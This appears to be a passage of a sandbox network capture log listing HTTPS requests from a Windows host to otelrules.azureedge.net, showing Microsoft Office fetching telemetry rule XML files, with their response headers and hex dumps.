2024-11-20 00:18:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 75 53 68 64 2f 2b 68 6f 6b 6d 70 57 71 57 32 44 64 6c 44 4c 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: uuShd/+hokmpWqW2DdlDLg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-1777c6cb754j8gqphC1TEB5bf800000008v0000000001t32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-1777c6cb754rz2pghC1TEBghen00000008r000000000azfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-185f5d8b95c95vpshC1NYC759c00000009ag00000000x67t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-1777c6cb754xrr98hC1TEB3kag00000008hg00000000r655 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-185f5d8b95cf7qddhC1NYC66an00000009cg00000000x3pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-1777c6cb7544n7p6hC1TEByvb400000008zg0000000092kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-r1d97b99577656nchC1TEBk98c000000083000000000dr1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-185f5d8b95c5lcmhhC1NYCsnsw00000009f000000000p28k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-185f5d8b95c9mqtvhC1NYCghtc00000009e000000000s9fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:43 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001843Z-185f5d8b95cx9g8lhC1NYCtgvc00000001tg00000000fzcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:44 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001844Z-r1d97b99577n4dznhC1TEBc1qw0000000870000000002n58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:44 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001844Z-r1d97b99577656nchC1TEBk98c000000084000000000b039 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
